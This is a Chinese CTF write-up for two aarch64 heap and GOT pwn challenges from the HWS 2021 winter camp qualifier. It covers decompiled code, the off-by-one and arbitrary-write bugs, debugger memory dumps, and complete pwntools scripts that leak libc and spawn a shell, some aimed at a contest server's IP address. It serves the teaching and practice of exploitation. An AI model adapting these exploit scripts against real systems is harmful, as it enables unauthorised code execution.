主頁 >  其他 > HWS 2021 冬令營選拔賽 部分WP

HWS 2021 冬令營選拔賽 部分WP

2021-02-03 14:04:19 其他

比完后速度開肝WP


在這里插入圖片描述

總分: 850 排名: 33


第一次這么長(shuang)時間肝比賽

3整天+1晚(理論上來說還有一早但我沒用)

不得不說還是挺有意思的


PWN2 ememarm

aarch64架構

上網搜到了環境配置:

socat tcp-l:$port,fork exec:"$command",reuseaddr

譬如:

socat tcp-l:10002,fork exec:"qemu-aarch64 -g 1234 ememarm",reuseaddr

這樣pwntools訪問localhost:10002, gdb remote localhost:1234即可除錯

當然在之前還要:

  1. 要有qemu-aarch64patchelf
  2. 配置/lib/ld-linux-aarch64.so.1
    ln -s `pwd`/ld-linux-aarch64.so.1 /lib/ld-linux-aarch64.so.1
    
  3. 修改libc
    patchelf --replace-needed libc.so.6 `pwd`/libc.so.6 $elf
    

這個方法同樣適用于PWN1 emarm和IOT3 PPPPPPC以及所有與你本機架構不同的普通PWN題 (一般來說就是非Intel架構,除非你家是arm之類)

然后便可以看libc版本:

$ ./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

2.27,有tcache

別忘了查看保護:

$ checksec ememarm
[*] '$PWD/ememarm'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

再看程式邏輯:

int __cdecl main(int argc, const char **argv, const char **envp)
{
	int choice; // [xsp+1Ch] [xbp+1Ch]
	int var; // [xsp+20h] [xbp+20h]
	int count; // [xsp+24h] [xbp+24h]
	void *v7; // [xsp+28h] [xbp+28h]
	struc_1 *head; // [xsp+30h] [xbp+30h]
	struc_1 *a2; // [xsp+38h] [xbp+38h]
	struc_1 *ptr; // [xsp+40h] [xbp+40h]

	buf_init();
	count = 0;
	v7 = &unk_412070;
	printf("hello every one welcom my note  ~~%lld\n", &unk_412070);
	head = (struc_1 *)malloc(0x20uLL);
	read(0LL, head, 24LL);
	while ( 1 )
	{
		while ( 1 )
		{
			while ( 1 )
			{
				while ( 1 )
				{
					menu();
					scanf("%d", &choice);
					if ( choice != 1 )
						break;
					ptr = request();
					puts("do you want delete?");
					scanf("%d", &var);
					if ( var == 1 )
						add(head, ptr);
				}
				if ( choice != 2 || count > 10 )
					break;
				scanf("%d", &var);
				noprint(head, var);
				++count;
			}
			if ( choice != 3 || count > 10 )
				break;
			scanf("%d", &var);
			edit(head, var);
			++count;
		}
		if ( choice != 4 )
			break;
		a2 = request_big();
		puts("do you want delete?");
		scanf("%d", &var);
		if ( var == 1 )
			add(head, a2);
	}
	puts("bye bye bye!!\n");
	free(head);
	return 0;
}

常規選單式堆題

應該能看出中間有結構體:

struc_1         struc ; (sizeof=0x20, mappedto_30)
x               DCQ ?
y               DCQ ?
field_10        DCQ ?
next            DCQ ?
struc_1         ends

并且用next指標組成一個單向鏈表:

void __fastcall add(struc_1 *head, struc_1 *ptr)
{
	struc_1 *i; // [xsp+8h] [xbp-8h]

	for ( i = head; i->next; i = i->next )
		;
	i->next = ptr;
}

但注意print功能是假的:

__int64 __fastcall noprint(struc_1 *head, int pos)
{
	int v3; // [xsp+14h] [xbp+14h]
	struc_1 *v4; // [xsp+28h] [xbp+28h]

	v3 = pos;
	v4 = head->next;
	if ( pos <= 0 )
		puts("incrrect position to node");
	if ( !v4 )
		puts("the link empty");
	while ( --v3 )
	{
		v4 = v4->next;
		if ( !v4 )
		{
			puts("can't print it");
			return puts("hahah i can't give you");
		}
	}
	return puts("hahah i can't give you");
}

漏洞點是edit功能中有一個null off by one:

void __fastcall edit(struc_1 *head, int pos)
{
	int i; // [xsp+14h] [xbp+14h]
	struc_1 *ptr; // [xsp+20h] [xbp+20h]

	i = pos;
	ptr = head->next;
	if ( head->x )
	{
		if ( pos >= 0 )
		{
			if ( !ptr )
				puts("Link is empty");
			while ( --i )
			{
				ptr = ptr->next;
				if ( !ptr )
				{
					printf("no can't find it");
					break;
				}
			}
			if ( (unsigned int)read(0LL, ptr, 24LL) == 24 )
				LOBYTE(ptr->next) = 0;                  // dan
			free(ptr->next);
			ptr->next = 0LL;
		}
		else
		{
			puts("incrrect position to search node ");
		}
	}
	else
	{
		puts("nonono\n");
		read(0LL, head, 16LL);
	}
}

開一下除錯:

Breakpoint *0x400c74
pwndbg> heap
heap: This command only works with libc debug symbols.
They can probably be installed via the package manager of your choice.
See also: https://sourceware.org/gdb/onlinedocs/gdb/Separate-Debug-Files.html
pwndbg> bin
bins: This command only works with libc debug symbols.
They can probably be installed via the package manager of your choice.
See also: https://sourceware.org/gdb/onlinedocs/gdb/Separate-Debug-Files.html
pwndbg> x /gx $sp+0x30
0x40007ffdd0:	0x0000000000413260
pwndbg> x /32gx 0x413250
0x413250:	0x0000000000000000	0x0000000000000031
0x413260:	0x000000000a333231	0x0000000000000000
0x413270:	0x0000000000000000	0x0000000000000000
0x413280:	0x0000000000000000	0x0000000000020d81
0x413290:	0x0000000000000000	0x0000000000000000
0x4132a0:	0x0000000000000000	0x0000000000000000
0x4132b0:	0x0000000000000000	0x0000000000000000
0x4132c0:	0x0000000000000000	0x0000000000000000
0x4132d0:	0x0000000000000000	0x0000000000000000
0x4132e0:	0x0000000000000000	0x0000000000000000
0x4132f0:	0x0000000000000000	0x0000000000000000
0x413300:	0x0000000000000000	0x0000000000000000
0x413310:	0x0000000000000000	0x0000000000000000
0x413320:	0x0000000000000000	0x0000000000000000
0x413330:	0x0000000000000000	0x0000000000000000
0x413340:	0x0000000000000000	0x0000000000000000

還有,本地和靶機用的都是qemu,默認是不開ASLR的,所以這里的地址是可以直接用的

而且因為給的libc沒有debug資訊,所以pwndbg的heap和bin都是用不了的

那么利用null off by one,我們可以執行free(0x413300),所以我們想在0x4132f0處偽造堆塊
大抵像這樣:

pwndbg> x /40gx 0x413250
0x413250:	0x0000000000000000	0x0000000000000031
0x413260:	0x000000000000000a	0x0000000000000000
0x413270:	0x0000000000000000	0x00000000004132f0
0x413280:	0x0000000000000000	0x0000000000000031
0x413290:	0x0000000000000031	0x0000000000000031
0x4132a0:	0x0000000000000000	0x0000000000000000
0x4132b0:	0x0000000000000000	0x0000000000000031
0x4132c0:	0x0000000000000031	0x0000000000000031
0x4132d0:	0x0000000000000000	0x0000000000000000
0x4132e0:	0x0000000000000000	0x0000000000000041
0x4132f0:	0x0000000000000000	0x0000000000000031 <- 注意這里偽造了堆塊
0x413300:	0x0000000000000000	0x0000000000413330
0x413310:	0x0000000000000000	0x0000000000000000
0x413320:	0x0000000000000000	0x0000000000000041
0x413330:	0x0000000000000032	0x0000000000000032
0x413340:	0x0000000000000000	0x0000000000000000
0x413350:	0x0000000000000000	0x0000000000000000
0x413360:	0x0000000000000000	0x0000000000020ca1
0x413370:	0x0000000000000000	0x0000000000000000
0x413380:	0x0000000000000000	0x0000000000000000

edit off by one, free(0x413300)

然而bin用不了,并看不出什么變化

再edit,修改tcache鏈表指標:

pwndbg> x /40gx 0x413250
0x413250:	0x0000000000000000	0x0000000000000031
0x413260:	0x000000000000000a	0x0000000000000000
0x413270:	0x0000000000000000	0x00000000004132f0
0x413280:	0x0000000000000000	0x0000000000000031
0x413290:	0x0000000000000031	0x0000000000000031
0x4132a0:	0x0000000000000000	0x0000000000000000
0x4132b0:	0x0000000000000000	0x0000000000000031
0x4132c0:	0x0000000000000031	0x0000000000000031
0x4132d0:	0x0000000000000000	0x0000000000000000
0x4132e0:	0x0000000000000000	0x0000000000000041
0x4132f0:	0x0000000000000000	0x0000000000000031
0x413300:	0x0000000000412030	0x0000000000000000 <- 注意修改的指標
0x413310:	0x0000000000000000	0x0000000000000000
0x413320:	0x0000000000000000	0x0000000000000041
0x413330:	0x0000000000000032	0x0000000000000032
0x413340:	0x0000000000000000	0x0000000000000000
0x413350:	0x0000000000000000	0x0000000000000000
0x413360:	0x0000000000000000	0x0000000000020ca1
0x413370:	0x0000000000000000	0x0000000000000000
0x413380:	0x0000000000000000	0x0000000000000000
pwndbg> x /2gx 0x412030
0x412030 <puts@got.plt>:	0x0000004000893f40	0x00000040008a7790

連續malloc(0x20)兩次:

pwndbg> x /40gx 0x413250
0x413250:	0x0000000000000000	0x0000000000000031
0x413260:	0x000000000000000a	0x0000000000000000
0x413270:	0x0000000000000000	0x00000000004132f0
0x413280:	0x0000000000000000	0x0000000000000031
0x413290:	0x0000000000000031	0x0000000000000031
0x4132a0:	0x0000000000000000	0x0000000000000000
0x4132b0:	0x0000000000000000	0x0000000000000031
0x4132c0:	0x0000000000000031	0x0000000000000031
0x4132d0:	0x0000000000000000	0x0000000000000000
0x4132e0:	0x0000000000000000	0x0000000000000041
0x4132f0:	0x0000000000000000	0x0000000000000031
0x413300:	0x0068732f6e69622f	0x0000000000412030
0x413310:	0x0000000000000000	0x0000000000000000
0x413320:	0x0000000000000000	0x0000000000000041
0x413330:	0x0000000000000032	0x0000000000000032
0x413340:	0x0000000000000000	0x0000000000000000
0x413350:	0x0000000000000000	0x0000000000000000
0x413360:	0x0000000000000000	0x0000000000020ca1
0x413370:	0x0000000000000000	0x0000000000000000
0x413380:	0x0000000000000000	0x0000000000000000
pwndbg> x /2gx 0x412030
0x412030 <puts@got.plt>:	0x0000004000893f40	0x0000000000400740 <- 注意free的got表被修改了

再edit觸發free,實際呼叫puts,得到puts地址

泄露Exp:

from pwn import *
from LibcTool import *
context(os='linux', arch='aarch64')
elf = ELF('./ememarm')
# sh = remote('183.129.189.60', 10034)
# sh = process('./run.sh')
sh = remote('127.0.0.1', 10002)
libc = ELF('./libc.so.6')
# attach(sh)
# raw_input()


def request(x, y, add):
    sh.sendlineafter('choice:', '1')
    sh.sendafter('cx:', x)
    sh.sendafter('cy:', y)
    sh.sendlineafter('delete?', str(add))


def request_big(x, y, add):
    sh.sendlineafter('choice:', '4')
    sh.sendafter('cx:', x)
    sh.sendafter('cy:', y)
    sh.sendlineafter('delete?', str(add))


def edit(pos, content):
    sh.sendlineafter('choice: \n', '3')
    sleep(1)
    sh.sendline(str(pos))
    sleep(1)
    sh.send(content)


sh.sendlineafter('4268144', '')
request('1', '1', 0)
request('1', '1', 0)
request_big('2', '2', 1)
request_big('2', '2', 1)
edit(1, flat(0, 0x31, 0))
edit(1, flat(0, 0x31, elf.got['free']-8))
request('/bin/sh', p64(0), 0)
# request('/bin/sh', p64(0), 1)
request(p8(libc.sym['puts'] % 0x100), p64(elf.plt['puts']), 1)
# request(p8(libc.sym['puts'] % 0x100), p64(0x400086f2c8), 0)
# request_big(p64(elf.got['printf'], '4', 1))
edit(1, '\0')
puts_addr=u64(sh.recvuntil('\n1. ')[:-4].ljust(8,'\0'))+0x4000000000
libc_base=puts_addr-libc.sym['puts']
log.info('system='+hex(libc_base+libc.sym['system'])) # 0x400086f2c8

sh.interactive()
sh.close()

因為實際地址中第四位元組是0x00,所以前面的0x40輸出不出來,需要手動加上

多跑幾遍,發現地址一直不變,我們就能斷定它沒開ASLR,并得到system的地址為0x400086f2c8

get shell Exp:

from pwn import *
from LibcTool import *
context(os='linux', arch='aarch64')
elf = ELF('./ememarm')
# sh = remote('183.129.189.60', 10034)
# sh = process('./run.sh')
sh = remote('127.0.0.1', 10002)
libc = ELF('./libc.so.6')
# attach(sh)
# raw_input()


def request(x, y, add):
    sh.sendlineafter('choice:', '1')
    sh.sendafter('cx:', x)
    sh.sendafter('cy:', y)
    sh.sendlineafter('delete?', str(add))


def request_big(x, y, add):
    sh.sendlineafter('choice:', '4')
    sh.sendafter('cx:', x)
    sh.sendafter('cy:', y)
    sh.sendlineafter('delete?', str(add))


def edit(pos, content):
    sh.sendlineafter('choice: \n', '3')
    sleep(1)
    sh.sendline(str(pos))
    sleep(1)
    sh.send(content)


sh.sendlineafter('4268144', '')
request('1', '1', 0)
request('1', '1', 0)
request_big('2', '2', 1)
request_big('2', '2', 1)
edit(1, flat(0, 0x31, 0))
edit(1, flat(0, 0x31, elf.got['free']-8))
# request('/bin/sh', p64(0), 0)
request('/bin/sh', p64(0), 1)
# request(p8(libc.sym['puts'] % 0x100), p64(elf.plt['puts']), 1)
request(p8(libc.sym['puts'] % 0x100), p64(0x400086f2c8), 0)
# request_big(p64(elf.got['printf'], '4', 1))
edit(1, '\0')
# puts_addr = u64(sh.recvuntil('\n1. ')[:-4].ljust(8, '\0'))+0x4000000000
# libc_base = puts_addr-libc.sym['puts']
# log.info('system='+hex(libc_base+libc.sym['system']))  # 0x400086f2c8

sh.interactive()
sh.close()

同理的,不再贅述


PWN1 emarm

$ checksec emarm
[*] '$PWD/emarm'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
	__int64 frand; // ST30_8
	int pwlen; // ST18_4
	void *v6; // ST40_8
	signed int v7; // [xsp+20h] [xbp+20h]
	int v8; // [xsp+2Ch] [xbp+2Ch]
	__int64 fbye; // [xsp+38h] [xbp+38h]
	char v10[4]; // [xsp+48h] [xbp+48h]
	char v11[4]; // [xsp+50h] [xbp+50h]
	char unk[8]; // [xsp+58h] [xbp+58h]
	char passwd[8]; // [xsp+60h] [xbp+60h]
	char buf[8]; // [xsp+68h] [xbp+68h]

	setbuf(stdin, 0LL);
	setbuf(stdout, 0LL);
	frand = fopen("/dev/urandom", "r");
	fbye = fopen("bye", "r");
	fread(unk, 8LL, 1LL, frand);
	fclose(frand);
	say_hi();
	puts("passwd:");
	__isoc99_scanf("%8s", passwd);
	pwlen = strlen(passwd);
	if ( !(unsigned int)strncmp(unk, passwd, pwlen) )
	{
		read(0, buf, 8uLL);
		v7 = strlen(buf);
		if ( v7 > 7 )
			return 0;
		v6 = (void *)atoi(buf);
		printf("you will success");
		if ( (signed int)read(0, v6, 8uLL) < 0 )
			return 0;
		puts("i leave for you bye");
		read(0, v10, 4uLL);
		if ( v7 < 0 )
			return 0;
		v8 = atoi(v10);
		if ( v8 > 4 || v8 < 0 )
			return 0;
		fread(v11, v8, 1LL, fbye);
		puts(v11);
		fclose(fbye);
	}
	return 0;
}
  1. 雖然大家都知道strncmp是什么,但還是建議大家看一下reference
    摘自cppreference:

    回傳值
    若字典序中 lhs 先出現于 rhs 則為負值,
    若 lhs 與 rhs 比較相等,或若 count 為零,則為零,
    若字典序中 lhs 后出現于 rhs 則為正值,

    所以passwd給'\0'就行,就不需要進行 1 256 \frac1{256} 2561?的爆破了

  2. read(0, buf, 8uLL);
    v7 = strlen(buf);
    if ( v7 > 7 )
        return 0;
    v6 = (void *)atoi(buf);
    printf("you will success");
    if ( (signed int)read(0, v6, 8uLL) < 0 )
        return 0;
    

    這是個比較明顯的任意地址寫(當然是0xffffffff以下的地址)

  3. 別想些亂七八糟的東西,bye檔案中就是一個簡單的bye~

思路當然是改got表,但是怎么leak呢?
因為我們很難將引數直接改為got表地址,所以我采用printf來進行leak
但你簡單除錯一下就會發現,可控制的引數偏移已經大于10了,如果我們這樣呼叫:

printf("%17$s");

會發現要寫5個字符!而任意地址寫之后的read卻只讀入4個字符:

read(0, v10, 4uLL);
if ( v7 < 0 )
	return 0;
v8 = atoi(v10);

所以我們得用之前的read,能讀8個位元組

  1. 修改fread的got表為0x400be4,開始回圈
  2. 修改strlen的got表為printf的plt地址,并且在v10中寫fopen的got表地址
  3. 除錯確定引數偏移為17, send "%17$s",就會執行 printf("%17$s"),并且該引數為fopen的got地址,自然會泄露fopen的地址為0x4000892448

leak exploit:

from pwn import *
from LibcTool import *
context(os='linux', arch='aarch64', log_level='debug')
elf = ELF('./emarm')
libc = ELF('./libc.so.6')
sh = remote('183.129.189.60', 10012)
# sh = remote('127.0.0.1', 10002)
# sh = process('./')
# attach(sh)
# raw_input()

bss = 0x412090
fini = 0x411dd8

fopen = 0x4000892448
libc_base = fopen-libc.sym['fopen']
system = libc_base+libc.sym['system']

sh.sendlineafter('passwd:', '\0')
sleep(1)
sh.send(str(elf.got['fread']))
sh.sendafter('you will success', p64(0x400be4))
sh.sendafter('bye', '1')
sleep(1)
sh.send(str(elf.got['strlen']))
sh.sendafter('you will success', p64(elf.plt['printf']))
# sh.sendafter('you will success', p64(system))
sh.sendafter('bye', p32(elf.got['fopen']))
sleep(1)
sh.send('%17$s\0')
# sh.send('sh\0')

log.info('system='+hex(system))

sh.interactive()
sh.close()

然后這次又雙叒叕沒有開ASLR,意味著libc地址又不變
簡單改一下就是getshell exploit:

from pwn import *
from LibcTool import *
context(os='linux', arch='aarch64', log_level='debug')
elf = ELF('./emarm')
libc = ELF('./libc.so.6')
sh = remote('183.129.189.60', 10012)
# sh = remote('127.0.0.1', 10002)
# sh = process('./')
# attach(sh)
# raw_input()

bss = 0x412090
fini = 0x411dd8

fopen = 0x4000892448
libc_base = fopen-libc.sym['fopen']
system = libc_base+libc.sym['system']

sh.sendlineafter('passwd:', '\0')
sleep(1)
sh.send(str(elf.got['fread']))
sh.sendafter('you will success', p64(0x400be4))
sh.sendafter('bye', '1')
sleep(1)
sh.send(str(elf.got['strlen']))
# sh.sendafter('you will success', p64(elf.plt['printf']))
sh.sendafter('you will success', p64(system))
sh.sendafter('bye', p32(elf.got['fopen']))
sleep(1)
# sh.send('%17$s\0')
sh.send('sh\0')

log.info('system='+hex(system))

sh.interactive()
sh.close()

剩下的WriteUp日更哦,明天見!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/256010.html

標籤:其他

上一篇:【C++初階】淺談參考和行內函式

下一篇:2021“春秋杯“新年歡樂賽wp(部分)

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more